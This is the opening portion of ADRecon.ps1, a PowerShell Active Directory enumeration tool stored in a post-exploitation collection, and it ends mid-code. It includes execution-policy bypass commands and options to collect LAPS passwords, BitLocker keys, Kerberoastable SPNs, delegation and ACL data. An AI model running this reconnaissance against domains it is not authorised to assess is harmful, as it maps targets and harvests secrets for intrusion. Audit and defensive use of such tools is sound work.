killchain-compendium/Post Exploitation/Windows/Powershell Scripts/ADRecon.ps1

12057 lines
612 KiB
PowerShell
Raw Normal View History

2022-11-11 01:15:07 +01:00
<#
.SYNOPSIS
ADRecon is a tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment.
.DESCRIPTION
ADRecon is a tool which extracts and combines various artefacts (as highlighted below) out of an AD environment. The information can be presented in a specially formatted Microsoft Excel report that includes summary views with metrics to facilitate analysis and provide a holistic picture of the current state of the target AD environment.
The tool is useful to various classes of security professionals like auditors, DFIR, students, administrators, etc. It can also be an invaluable post-exploitation tool for a penetration tester.
It can be run from any workstation that is connected to the environment, even hosts that are not domain members. Furthermore, the tool can be executed in the context of a non-privileged (i.e. standard domain user) account.
Fine Grained Password Policy, LAPS and BitLocker may require Privileged user accounts.
The tool will use Microsoft Remote Server Administration Tools (RSAT) if available, otherwise it will communicate with the Domain Controller using LDAP.
The following information is gathered by the tool:
- Forest;
- Domain;
- Trusts;
- Sites;
- Subnets;
- Default and Fine Grained Password Policy (if implemented);
- Domain Controllers, SMB versions, whether SMB Signing is supported and FSMO roles;
- Users and their attributes;
- Service Principal Names (SPNs);
- Groups and memberships;
- Organizational Units (OUs);
- Group Policy Object and gPLink details;
- DNS Zones and Records;
- Printers;
- Computers and their attributes;
- PasswordAttributes (Experimental);
- LAPS passwords (if implemented);
- BitLocker Recovery Keys (if implemented);
- ACLs (DACLs and SACLs) for the Domain, OUs, Root Containers, GPO, Users, Computers and Groups objects;
- GPOReport (requires RSAT);
- Kerberoast (not included in the default collection method); and
- Domain accounts used for service accounts (requires privileged account and not included in the default collection method).
Author : Prashant Mahajan
Company : https://www.senseofsecurity.com.au
.NOTES
The following commands can be used to turn off ExecutionPolicy: (Requires Admin Privs)
PS > $ExecPolicy = Get-ExecutionPolicy
PS > Set-ExecutionPolicy bypass
PS > .\ADRecon.ps1
PS > Set-ExecutionPolicy $ExecPolicy
OR
Start the PowerShell as follows:
powershell.exe -ep bypass
OR
Already have a PowerShell open ?
PS > $Env:PSExecutionPolicyPreference = 'Bypass'
OR
powershell.exe -nologo -executionpolicy bypass -noprofile -file ADRecon.ps1
.PARAMETER Protocol
Which protocol to use; ADWS (default) or LDAP
.PARAMETER DomainController
Domain Controller IP Address or Domain FQDN.
.PARAMETER Credential
Domain Credentials.
.PARAMETER GenExcel
Path for ADRecon output folder containing the CSV files to generate the ADRecon-Report.xlsx. Use it to generate the ADRecon-Report.xlsx when Microsoft Excel is not installed on the host used to run ADRecon.
.PARAMETER OutputDir
Path for ADRecon output folder to save the files and the ADRecon-Report.xlsx. (The folder specified will be created if it doesn't exist)
.PARAMETER Collect
Which modules to run; Comma separated; e.g Forest,Domain (Default all except Kerberoast, DomainAccountsusedforServiceLogon)
Valid values include: Forest, Domain, Trusts, Sites, Subnets, PasswordPolicy, FineGrainedPasswordPolicy, DomainControllers, Users, UserSPNs, PasswordAttributes, Groups, GroupMembers, OUs, GPOs, gPLinks, DNSZones, Printers, Computers, ComputerSPNs, LAPS, BitLocker, ACLs, GPOReport, Kerberoast, DomainAccountsusedforServiceLogon.
.PARAMETER OutputType
Output Type; Comma seperated; e.g STDOUT,CSV,XML,JSON,HTML,Excel (Default STDOUT with -Collect parameter, else CSV and Excel).
Valid values include: STDOUT, CSV, XML, JSON, HTML, Excel, All (excludes STDOUT).
.PARAMETER DormantTimeSpan
Timespan for Dormant accounts. (Default 90 days)
.PARAMETER PassMaxAge
Maximum machine account password age. (Default 30 days)
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
.PARAMETER Threads
The number of threads to use during processing objects. (Default 10)
.PARAMETER Log
Create ADRecon Log using Start-Transcript
.EXAMPLE
.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>
[*] ADRecon <version> by Prashant Mahajan (@prashant3535) from Sense of Security.
[*] Generating ADRecon-Report.xlsx
[+] Excelsheet Saved to: C:\ADRecon-Report-<timestamp>\<domain>-ADRecon-Report.xlsx
.EXAMPLE
.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
[*] ADRecon <version> by Prashant Mahajan (@prashant3535) from Sense of Security.
[*] Running on <domain>\<hostname> - Member Workstation
<snip>
Example output from Domain Member with Alternate Credentials.
.EXAMPLE
.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username> -Collect DomainControllers -OutputType Excel
[*] ADRecon <version> by Prashant Mahajan (@prashant3535) from Sense of Security.
[*] Running on WORKGROUP\<hostname> - Standalone Workstation
[*] Commencing - <timestamp>
[-] Domain Controllers
[*] Total Execution Time (mins): <minutes>
[*] Generating ADRecon-Report.xlsx
[+] Excelsheet Saved to: C:\ADRecon-Report-<timestamp>\<domain>-ADRecon-Report.xlsx
[*] Completed.
[*] Output Directory: C:\ADRecon-Report-<timestamp>
Example output from from a Non-Member using RSAT to only enumerate Domain Controllers.
.EXAMPLE
.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username>
[*] ADRecon <version> by Prashant Mahajan (@prashant3535) from Sense of Security.
[*] Running on WORKGROUP\<hostname> - Standalone Workstation
[*] Commencing - <timestamp>
[-] Domain
[-] Forest
[-] Trusts
[-] Sites
[-] Subnets
[-] Default Password Policy
[-] Fine Grained Password Policy - May need a Privileged Account
[-] Domain Controllers
[-] Users - May take some time
[-] User SPNs
[-] PasswordAttributes - Experimental
[-] Groups - May take some time
[-] Group Memberships - May take some time
[-] OrganizationalUnits (OUs)
[-] GPOs
[-] gPLinks - Scope of Management (SOM)
[-] DNS Zones and Records
[-] Printers
[-] Computers - May take some time
[-] Computer SPNs
[-] LAPS - Needs Privileged Account
WARNING: [*] LAPS is not implemented.
[-] BitLocker Recovery Keys - Needs Privileged Account
[-] ACLs - May take some time
WARNING: [*] SACLs - Currently, the module is only supported with LDAP.
[-] GPOReport - May take some time
WARNING: [EXCEPTION] Current security context is not associated with an Active Directory domain or forest.
WARNING: [*] Run the tool using RUNAS.
WARNING: [*] runas /user:<Domain FQDN>\<Username> /netonly powershell.exe
[*] Total Execution Time (mins): <minutes>
[*] Output Directory: C:\ADRecon-Report-<timestamp>
[*] Generating ADRecon-Report.xlsx
[+] Excelsheet Saved to: C:\ADRecon-Report-<timestamp>\<domain>-ADRecon-Report.xlsx
Example output from a Non-Member using RSAT.
.EXAMPLE
.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>
[*] ADRecon <version> by Prashant Mahajan (@prashant3535) from Sense of Security.
[*] Running on WORKGROUP\<hostname> - Standalone Workstation
[*] LDAP bind Successful
[*] Commencing - <timestamp>
[-] Domain
[-] Forest
[-] Trusts
[-] Sites
[-] Subnets
[-] Default Password Policy
[-] Fine Grained Password Policy - May need a Privileged Account
[-] Domain Controllers
[-] Users - May take some time
[-] User SPNs
[-] PasswordAttributes - Experimental
[-] Groups - May take some time
[-] Group Memberships - May take some time
[-] OrganizationalUnits (OUs)
[-] GPOs
[-] gPLinks - Scope of Management (SOM)
[-] DNS Zones and Records
[-] Printers
[-] Computers - May take some time
[-] Computer SPNs
[-] LAPS - Needs Privileged Account
WARNING: [*] LAPS is not implemented.
[-] BitLocker Recovery Keys - Needs Privileged Account
[-] ACLs - May take some time
[-] GPOReport - May take some time
WARNING: [*] Currently, the module is only supported with ADWS.
[*] Total Execution Time (mins): <minutes>
[*] Output Directory: C:\ADRecon-Report-<timestamp>
[*] Generating ADRecon-Report.xlsx
[+] Excelsheet Saved to: C:\ADRecon-Report-<timestamp>\<domain>-ADRecon-Report.xlsx
Example output from a Non-Member using LDAP.
.LINK
https://github.com/sense-of-security/ADRecon
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory = $false, HelpMessage = "Which protocol to use; ADWS (default) or LDAP.")]
[ValidateSet('ADWS', 'LDAP')]
[string] $Protocol = 'ADWS',
[Parameter(Mandatory = $false, HelpMessage = "Domain Controller IP Address or Domain FQDN.")]
[string] $DomainController = '',
[Parameter(Mandatory = $false, HelpMessage = "Domain Credentials.")]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false, HelpMessage = "Path for ADRecon output folder containing the CSV files to generate the ADRecon-Report.xlsx. Use it to generate the ADRecon-Report.xlsx when Microsoft Excel is not installed on the host used to run ADRecon.")]
[string] $GenExcel,
[Parameter(Mandatory = $false, HelpMessage = "Path for ADRecon output folder to save the CSV/XML/JSON/HTML files and the ADRecon-Report.xlsx. (The folder specified will be created if it doesn't exist)")]
[string] $OutputDir,
[Parameter(Mandatory = $false, HelpMessage = "Which modules to run; Comma separated; e.g Forest,Domain (Default all except Kerberoast, DomainAccountsusedforServiceLogon) Valid values include: Forest, Domain, Trusts, Sites, Subnets, PasswordPolicy, FineGrainedPasswordPolicy, DomainControllers, Users, UserSPNs, PasswordAttributes, Groups, GroupMembers, OUs, GPOs, gPLinks, DNSZones, Printers, Computers, ComputerSPNs, LAPS, BitLocker, ACLs, GPOReport, Kerberoast, DomainAccountsusedforServiceLogon")]
[ValidateSet('Forest', 'Domain', 'Trusts', 'Sites', 'Subnets', 'PasswordPolicy', 'FineGrainedPasswordPolicy', 'DomainControllers', 'Users', 'UserSPNs', 'PasswordAttributes', 'Groups', 'GroupMembers', 'OUs', 'GPOs', 'gPLinks', 'DNSZones', 'Printers', 'Computers', 'ComputerSPNs', 'LAPS', 'BitLocker', 'ACLs', 'GPOReport', 'Kerberoast', 'DomainAccountsusedforServiceLogon', 'Default')]
[array] $Collect = 'Default',
[Parameter(Mandatory = $false, HelpMessage = "Output type; Comma seperated; e.g STDOUT,CSV,XML,JSON,HTML,Excel (Default STDOUT with -Collect parameter, else CSV and Excel)")]
[ValidateSet('STDOUT', 'CSV', 'XML', 'JSON', 'EXCEL', 'HTML', 'All', 'Default')]
[array] $OutputType = 'Default',
[Parameter(Mandatory = $false, HelpMessage = "Timespan for Dormant accounts. Default 90 days")]
[ValidateRange(1,1000)]
[int] $DormantTimeSpan = 90,
[Parameter(Mandatory = $false, HelpMessage = "Maximum machine account password age. Default 30 days")]
[ValidateRange(1,1000)]
[int] $PassMaxAge = 30,
[Parameter(Mandatory = $false, HelpMessage = "The PageSize to set for the LDAP searcher object. Default 200")]
[ValidateRange(1,10000)]
[int] $PageSize = 200,
[Parameter(Mandatory = $false, HelpMessage = "The number of threads to use during processing of objects. Default 10")]
[ValidateRange(1,100)]
[int] $Threads = 10,
[Parameter(Mandatory = $false, HelpMessage = "Create ADRecon Log using Start-Transcript")]
[switch] $Log
)
$ADWSSource = @"
// Thanks Dennis Albuquerque for the C# multithreading code
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.DirectoryServices;
using System.Security.Principal;
using System.Security.AccessControl;
using System.Management.Automation;
namespace ADRecon
{
public static class ADWSClass
{
private static DateTime Date1;
private static int PassMaxAge;
private static int DormantTimeSpan;
private static Dictionary<String, String> AdGroupDictionary = new Dictionary<String, String>();
private static String DomainSID;
private static Dictionary<String, String> AdGPODictionary = new Dictionary<String, String>();
private static Hashtable GUIDs = new Hashtable();
private static Dictionary<String, String> AdSIDDictionary = new Dictionary<String, String>();
private static readonly HashSet<string> Groups = new HashSet<string> ( new String[] {"268435456", "268435457", "536870912", "536870913"} );
private static readonly HashSet<string> Users = new HashSet<string> ( new String[] { "805306368" } );
private static readonly HashSet<string> Computers = new HashSet<string> ( new String[] { "805306369" }) ;
private static readonly HashSet<string> TrustAccounts = new HashSet<string> ( new String[] { "805306370" } );
[Flags]
//Values taken from https://support.microsoft.com/en-au/kb/305144
public enum UACFlags
{
SCRIPT = 1, // 0x1
ACCOUNTDISABLE = 2, // 0x2
HOMEDIR_REQUIRED = 8, // 0x8
LOCKOUT = 16, // 0x10
PASSWD_NOTREQD = 32, // 0x20
PASSWD_CANT_CHANGE = 64, // 0x40
ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80
TEMP_DUPLICATE_ACCOUNT = 256, // 0x100
NORMAL_ACCOUNT = 512, // 0x200
INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800
WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000
SERVER_TRUST_ACCOUNT = 8192, // 0x2000
DONT_EXPIRE_PASSWD = 65536, // 0x10000
MNS_LOGON_ACCOUNT = 131072, // 0x20000
SMARTCARD_REQUIRED = 262144, // 0x40000
TRUSTED_FOR_DELEGATION = 524288, // 0x80000
NOT_DELEGATED = 1048576, // 0x100000
USE_DES_KEY_ONLY = 2097152, // 0x200000
DONT_REQUIRE_PREAUTH = 4194304, // 0x400000
PASSWORD_EXPIRED = 8388608, // 0x800000
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 16777216, // 0x1000000
PARTIAL_SECRETS_ACCOUNT = 67108864 // 0x04000000
}
[Flags]
//Values taken from https://blogs.msdn.microsoft.com/openspecification/2011/05/30/windows-configurations-for-kerberos-supported-encryption-type/
public enum KerbEncFlags
{
ZERO = 0,
DES_CBC_CRC = 1, // 0x1
DES_CBC_MD5 = 2, // 0x2
RC4_HMAC = 4, // 0x4
AES128_CTS_HMAC_SHA1_96 = 8, // 0x18
AES256_CTS_HMAC_SHA1_96 = 16 // 0x10
}
private static readonly Dictionary<String, String> Replacements = new Dictionary<String, String>()
{
//{System.Environment.NewLine, ""},
//{",", ";"},
{"\"", "'"}
};
public static String CleanString(Object StringtoClean)
{
// Remove extra spaces and new lines
String CleanedString = String.Join(" ", ((Convert.ToString(StringtoClean)).Split((string[]) null, StringSplitOptions.RemoveEmptyEntries)));
foreach (String Replacement in Replacements.Keys)
{
CleanedString = CleanedString.Replace(Replacement, Replacements[Replacement]);
}
return CleanedString;
}
public static int ObjectCount(Object[] ADRObject)
{
return ADRObject.Length;
}
public static Object[] UserParser(Object[] AdUsers, DateTime Date1, int DormantTimeSpan, int PassMaxAge, int numOfThreads)
{
ADWSClass.Date1 = Date1;
ADWSClass.DormantTimeSpan = DormantTimeSpan;
ADWSClass.PassMaxAge = PassMaxAge;
Object[] ADRObj = runProcessor(AdUsers, numOfThreads, "Users");
return ADRObj;
}
public static Object[] UserSPNParser(Object[] AdUsers, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdUsers, numOfThreads, "UserSPNs");
return ADRObj;
}
public static Object[] GroupParser(Object[] AdGroups, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdGroups, numOfThreads, "Groups");
return ADRObj;
}
public static Object[] GroupMemberParser(Object[] AdGroups, Object[] AdGroupMembers, String DomainSID, int numOfThreads)
{
ADWSClass.AdGroupDictionary = new Dictionary<String, String>();
runProcessor(AdGroups, numOfThreads, "GroupsDictionary");
ADWSClass.DomainSID = DomainSID;
Object[] ADRObj = runProcessor(AdGroupMembers, numOfThreads, "GroupMembers");
return ADRObj;
}
public static Object[] OUParser(Object[] AdOUs, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdOUs, numOfThreads, "OUs");
return ADRObj;
}
public static Object[] GPOParser(Object[] AdGPOs, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdGPOs, numOfThreads, "GPOs");
return ADRObj;
}
public static Object[] SOMParser(Object[] AdGPOs, Object[] AdSOMs, int numOfThreads)
{
ADWSClass.AdGPODictionary = new Dictionary<String, String>();
runProcessor(AdGPOs, numOfThreads, "GPOsDictionary");
Object[] ADRObj = runProcessor(AdSOMs, numOfThreads, "SOMs");
return ADRObj;
}
public static Object[] PrinterParser(Object[] ADPrinters, int numOfThreads)
{
Object[] ADRObj = runProcessor(ADPrinters, numOfThreads, "Printers");
return ADRObj;
}
public static Object[] ComputerParser(Object[] AdComputers, DateTime Date1, int DormantTimeSpan, int PassMaxAge, int numOfThreads)
{
ADWSClass.Date1 = Date1;
ADWSClass.DormantTimeSpan = DormantTimeSpan;
ADWSClass.PassMaxAge = PassMaxAge;
Object[] ADRObj = runProcessor(AdComputers, numOfThreads, "Computers");
return ADRObj;
}
public static Object[] ComputerSPNParser(Object[] AdComputers, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdComputers, numOfThreads, "ComputerSPNs");
return ADRObj;
}
public static Object[] LAPSParser(Object[] AdComputers, int numOfThreads)
{
Object[] ADRObj = runProcessor(AdComputers, numOfThreads, "LAPS");
return ADRObj;
}
public static Object[] DACLParser(Object[] ADObjects, Object PSGUIDs, int numOfThreads)
{
ADWSClass.AdSIDDictionary = new Dictionary<String, String>();
runProcessor(ADObjects, numOfThreads, "SIDDictionary");
ADWSClass.GUIDs = (Hashtable) PSGUIDs;
Object[] ADRObj = runProcessor(ADObjects, numOfThreads, "DACLs");
return ADRObj;
}
public static Object[] SACLParser(Object[] ADObjects, Object PSGUIDs, int numOfThreads)
{
ADWSClass.GUIDs = (Hashtable) PSGUIDs;
Object[] ADRObj = runProcessor(ADObjects, numOfThreads, "SACLs");
return ADRObj;
}
static Object[] runProcessor(Object[] arrayToProcess, int numOfThreads, string processorType)
{
int totalRecords = arrayToProcess.Length;
IRecordProcessor recordProcessor = recordProcessorFactory(processorType);
IResultsHandler resultsHandler = new SimpleResultsHandler ();
int numberOfRecordsPerThread = totalRecords / numOfThreads;
int remainders = totalRecords % numOfThreads;
Thread[] threads = new Thread[numOfThreads];
for (int i = 0; i < numOfThreads; i++)
{
int numberOfRecordsToProcess = numberOfRecordsPerThread;
if (i == (numOfThreads - 1))
{
//last thread, do the remaining records
numberOfRecordsToProcess += remainders;
}
//split the full array into chunks to be given to different threads
Object[] sliceToProcess = new Object[numberOfRecordsToProcess];
Array.Copy(arrayToProcess, i * numberOfRecordsPerThread, sliceToProcess, 0, numberOfRecordsToProcess);
ProcessorThread processorThread = new ProcessorThread(i, recordProcessor, resultsHandler, sliceToProcess);
threads[i] = new Thread(processorThread.processThreadRecords);
threads[i].Start();
}
foreach (Thread t in threads)
{
t.Join();
}
return resultsHandler.finalise();
}
static IRecordProcessor recordProcessorFactory(String name)
{
switch (name)
{
case "Users":
return new UserRecordProcessor();
case "UserSPNs":
return new UserSPNRecordProcessor();
case "Groups":
return new GroupRecordProcessor();
case "GroupsDictionary":
return new GroupRecordDictionaryProcessor();
case "GroupMembers":
return new GroupMemberRecordProcessor();
case "OUs":
return new OURecordProcessor();
case "GPOs":
return new GPORecordProcessor();
case "GPOsDictionary":
return new GPORecordDictionaryProcessor();
case "SOMs":
return new SOMRecordProcessor();
case "Printers":
return new PrinterRecordProcessor();
case "Computers":
return new ComputerRecordProcessor();
case "ComputerSPNs":
return new ComputerSPNRecordProcessor();
case "LAPS":
return new LAPSRecordProcessor();
case "SIDDictionary":
return new SIDRecordDictionaryProcessor();
case "DACLs":
return new DACLRecordProcessor();
case "SACLs":
return new SACLRecordProcessor();
}
throw new ArgumentException("Invalid processor type " + name);
}
class ProcessorThread
{
readonly int id;
readonly IRecordProcessor recordProcessor;
readonly IResultsHandler resultsHandler;
readonly Object[] objectsToBeProcessed;
public ProcessorThread(int id, IRecordProcessor recordProcessor, IResultsHandler resultsHandler, Object[] objectsToBeProcessed)
{
this.recordProcessor = recordProcessor;
this.id = id;
this.resultsHandler = resultsHandler;
this.objectsToBeProcessed = objectsToBeProcessed;
}
public void processThreadRecords()
{
for (int i = 0; i < objectsToBeProcessed.Length; i++)
{
Object[] result = recordProcessor.processRecord(objectsToBeProcessed[i]);
resultsHandler.processResults(result); //this is a thread safe operation
}
}
}
//The interface and implmentation class used to process a record (this implemmentation just returns a log type string)
interface IRecordProcessor
{
PSObject[] processRecord(Object record);
}
class UserRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdUser = (PSObject) record;
bool? Enabled = null;
bool MustChangePasswordatLogon = false;
bool PasswordNotChangedafterMaxAge = false;
bool NeverLoggedIn = false;
int? DaysSinceLastLogon = null;
int? DaysSinceLastPasswordChange = null;
int? AccountExpirationNumofDays = null;
bool Dormant = false;
String SIDHistory = "";
bool? KerberosRC4 = null;
bool? KerberosAES128 = null;
bool? KerberosAES256 = null;
String DelegationType = null;
String DelegationProtocol = null;
String DelegationServices = null;
DateTime? LastLogonDate = null;
DateTime? PasswordLastSet = null;
DateTime? AccountExpires = null;
try
{
// The Enabled field can be blank which raises an exception. This may occur when the user is not allowed to query the UserAccountControl attribute.
Enabled = (bool) AdUser.Members["Enabled"].Value;
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
}
if (AdUser.Members["lastLogonTimeStamp"].Value != null)
{
//LastLogonDate = DateTime.FromFileTime((long)(AdUser.Members["lastLogonTimeStamp"].Value));
// LastLogonDate is lastLogonTimeStamp converted to local time
LastLogonDate = Convert.ToDateTime(AdUser.Members["LastLogonDate"].Value);
DaysSinceLastLogon = Math.Abs((Date1 - (DateTime)LastLogonDate).Days);
if (DaysSinceLastLogon > DormantTimeSpan)
{
Dormant = true;
}
}
else
{
NeverLoggedIn = true;
}
if (Convert.ToString(AdUser.Members["pwdLastSet"].Value) == "0")
{
if ((bool) AdUser.Members["PasswordNeverExpires"].Value == false)
{
MustChangePasswordatLogon = true;
}
}
if (AdUser.Members["PasswordLastSet"].Value != null)
{
//PasswordLastSet = DateTime.FromFileTime((long)(AdUser.Members["pwdLastSet"].Value));
// PasswordLastSet is pwdLastSet converted to local time
PasswordLastSet = Convert.ToDateTime(AdUser.Members["PasswordLastSet"].Value);
DaysSinceLastPasswordChange = Math.Abs((Date1 - (DateTime)PasswordLastSet).Days);
if (DaysSinceLastPasswordChange > PassMaxAge)
{
PasswordNotChangedafterMaxAge = true;
}
}
//https://msdn.microsoft.com/en-us/library/ms675098(v=vs.85).aspx
//if ((Int64) AdUser.Members["accountExpires"].Value != (Int64) 9223372036854775807)
//{
//if ((Int64) AdUser.Members["accountExpires"].Value != (Int64) 0)
if (AdUser.Members["AccountExpirationDate"].Value != null)
{
try
{
//AccountExpires = DateTime.FromFileTime((long)(AdUser.Members["accountExpires"].Value));
// AccountExpirationDate is accountExpires converted to local time
AccountExpires = Convert.ToDateTime(AdUser.Members["AccountExpirationDate"].Value);
AccountExpirationNumofDays = ((int)((DateTime)AccountExpires - Date1).Days);
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
}
}
//}
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection history = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) AdUser.Members["SIDHistory"].Value;
if (history.Value is System.Security.Principal.SecurityIdentifier[])
{
string sids = "";
foreach (var value in (SecurityIdentifier[]) history.Value)
{
sids = sids + "," + Convert.ToString(value);
}
SIDHistory = sids.TrimStart(',');
}
else
{
SIDHistory = history != null ? Convert.ToString(history.Value) : "";
}
if (AdUser.Members["msDS-SupportedEncryptionTypes"].Value != null)
{
var userKerbEncFlags = (KerbEncFlags) AdUser.Members["msDS-SupportedEncryptionTypes"].Value;
if (userKerbEncFlags != KerbEncFlags.ZERO)
{
KerberosRC4 = (userKerbEncFlags & KerbEncFlags.RC4_HMAC) == KerbEncFlags.RC4_HMAC;
KerberosAES128 = (userKerbEncFlags & KerbEncFlags.AES128_CTS_HMAC_SHA1_96) == KerbEncFlags.AES128_CTS_HMAC_SHA1_96;
KerberosAES256 = (userKerbEncFlags & KerbEncFlags.AES256_CTS_HMAC_SHA1_96) == KerbEncFlags.AES256_CTS_HMAC_SHA1_96;
}
}
if ((bool) AdUser.Members["TrustedForDelegation"].Value)
{
DelegationType = "Unconstrained";
DelegationServices = "Any";
}
if (AdUser.Members["msDS-AllowedToDelegateTo"] != null)
{
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection delegateto = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) AdUser.Members["msDS-AllowedToDelegateTo"].Value;
if (delegateto.Value != null)
{
DelegationType = "Constrained";
if (delegateto.Value is System.String[])
{
foreach (var value in (String[]) delegateto.Value)
{
DelegationServices = DelegationServices + "," + Convert.ToString(value);
}
DelegationServices = DelegationServices.TrimStart(',');
}
else
{
DelegationServices = Convert.ToString(delegateto.Value);
}
}
}
if ((bool) AdUser.Members["TrustedToAuthForDelegation"].Value == true)
{
DelegationProtocol = "Any";
}
else if (DelegationType != null)
{
DelegationProtocol = "Kerberos";
}
PSObject UserObj = new PSObject();
UserObj.Members.Add(new PSNoteProperty("UserName", AdUser.Members["SamAccountName"].Value));
UserObj.Members.Add(new PSNoteProperty("Name", CleanString(AdUser.Members["Name"].Value)));
UserObj.Members.Add(new PSNoteProperty("Enabled", Enabled));
UserObj.Members.Add(new PSNoteProperty("Must Change Password at Logon", MustChangePasswordatLogon));
UserObj.Members.Add(new PSNoteProperty("Cannot Change Password", AdUser.Members["CannotChangePassword"].Value));
UserObj.Members.Add(new PSNoteProperty("Password Never Expires", AdUser.Members["PasswordNeverExpires"].Value));
UserObj.Members.Add(new PSNoteProperty("Reversible Password Encryption", AdUser.Members["AllowReversiblePasswordEncryption"].Value));
UserObj.Members.Add(new PSNoteProperty("Smartcard Logon Required", AdUser.Members["SmartcardLogonRequired"].Value));
UserObj.Members.Add(new PSNoteProperty("Delegation Permitted", !((bool) AdUser.Members["AccountNotDelegated"].Value)));
UserObj.Members.Add(new PSNoteProperty("Kerberos DES Only", AdUser.Members["UseDESKeyOnly"].Value));
UserObj.Members.Add(new PSNoteProperty("Kerberos RC4", KerberosRC4));
UserObj.Members.Add(new PSNoteProperty("Kerberos AES-128bit", KerberosAES128));
UserObj.Members.Add(new PSNoteProperty("Kerberos AES-256bit", KerberosAES256));
UserObj.Members.Add(new PSNoteProperty("Does Not Require Pre Auth", AdUser.Members["DoesNotRequirePreAuth"].Value));
UserObj.Members.Add(new PSNoteProperty("Never Logged in", NeverLoggedIn));
UserObj.Members.Add(new PSNoteProperty("Logon Age (days)", DaysSinceLastLogon));
UserObj.Members.Add(new PSNoteProperty("Password Age (days)", DaysSinceLastPasswordChange));
UserObj.Members.Add(new PSNoteProperty("Dormant (> " + DormantTimeSpan + " days)", Dormant));
UserObj.Members.Add(new PSNoteProperty("Password Age (> " + PassMaxAge + " days)", PasswordNotChangedafterMaxAge));
UserObj.Members.Add(new PSNoteProperty("Account Locked Out", AdUser.Members["LockedOut"].Value));
UserObj.Members.Add(new PSNoteProperty("Password Expired", AdUser.Members["PasswordExpired"].Value));
UserObj.Members.Add(new PSNoteProperty("Password Not Required", AdUser.Members["PasswordNotRequired"].Value));
UserObj.Members.Add(new PSNoteProperty("Delegation Type", DelegationType));
UserObj.Members.Add(new PSNoteProperty("Delegation Protocol", DelegationProtocol));
UserObj.Members.Add(new PSNoteProperty("Delegation Services", DelegationServices));
UserObj.Members.Add(new PSNoteProperty("Logon Workstations", AdUser.Members["LogonWorkstations"].Value));
UserObj.Members.Add(new PSNoteProperty("AdminCount", AdUser.Members["AdminCount"].Value));
UserObj.Members.Add(new PSNoteProperty("Primary GroupID", AdUser.Members["primaryGroupID"].Value));
UserObj.Members.Add(new PSNoteProperty("SID", AdUser.Members["SID"].Value));
UserObj.Members.Add(new PSNoteProperty("SIDHistory", SIDHistory));
UserObj.Members.Add(new PSNoteProperty("Description", CleanString(AdUser.Members["Description"].Value)));
UserObj.Members.Add(new PSNoteProperty("Title", CleanString(AdUser.Members["Title"].Value)));
UserObj.Members.Add(new PSNoteProperty("Department", CleanString(AdUser.Members["Department"].Value)));
UserObj.Members.Add(new PSNoteProperty("Company", CleanString(AdUser.Members["Company"].Value)));
UserObj.Members.Add(new PSNoteProperty("Manager", CleanString(AdUser.Members["Manager"].Value)));
UserObj.Members.Add(new PSNoteProperty("Info", CleanString(AdUser.Members["Info"].Value)));
UserObj.Members.Add(new PSNoteProperty("Last Logon Date", LastLogonDate));
UserObj.Members.Add(new PSNoteProperty("Password LastSet", PasswordLastSet));
UserObj.Members.Add(new PSNoteProperty("Account Expiration Date", AccountExpires));
UserObj.Members.Add(new PSNoteProperty("Account Expiration (days)", AccountExpirationNumofDays));
UserObj.Members.Add(new PSNoteProperty("Mobile", CleanString(AdUser.Members["Mobile"].Value)));
UserObj.Members.Add(new PSNoteProperty("Email", CleanString(AdUser.Members["mail"].Value)));
UserObj.Members.Add(new PSNoteProperty("HomeDirectory", AdUser.Members["homeDirectory"].Value));
UserObj.Members.Add(new PSNoteProperty("ProfilePath", AdUser.Members["profilePath"].Value));
UserObj.Members.Add(new PSNoteProperty("ScriptPath", AdUser.Members["ScriptPath"].Value));
UserObj.Members.Add(new PSNoteProperty("UserAccountControl", AdUser.Members["UserAccountControl"].Value));
UserObj.Members.Add(new PSNoteProperty("First Name", CleanString(AdUser.Members["givenName"].Value)));
UserObj.Members.Add(new PSNoteProperty("Middle Name", CleanString(AdUser.Members["middleName"].Value)));
UserObj.Members.Add(new PSNoteProperty("Last Name", CleanString(AdUser.Members["sn"].Value)));
UserObj.Members.Add(new PSNoteProperty("Country", CleanString(AdUser.Members["c"].Value)));
UserObj.Members.Add(new PSNoteProperty("whenCreated", AdUser.Members["whenCreated"].Value));
UserObj.Members.Add(new PSNoteProperty("whenChanged", AdUser.Members["whenChanged"].Value));
UserObj.Members.Add(new PSNoteProperty("DistinguishedName", CleanString(AdUser.Members["DistinguishedName"].Value)));
UserObj.Members.Add(new PSNoteProperty("CanonicalName", AdUser.Members["CanonicalName"].Value));
return new PSObject[] { UserObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class UserSPNRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdUser = (PSObject) record;
List<PSObject> SPNList = new List<PSObject>();
bool? Enabled = null;
String Memberof = null;
DateTime? PasswordLastSet = null;
// When the user is not allowed to query the UserAccountControl attribute.
if (AdUser.Members["userAccountControl"].Value != null)
{
var userFlags = (UACFlags) AdUser.Members["userAccountControl"].Value;
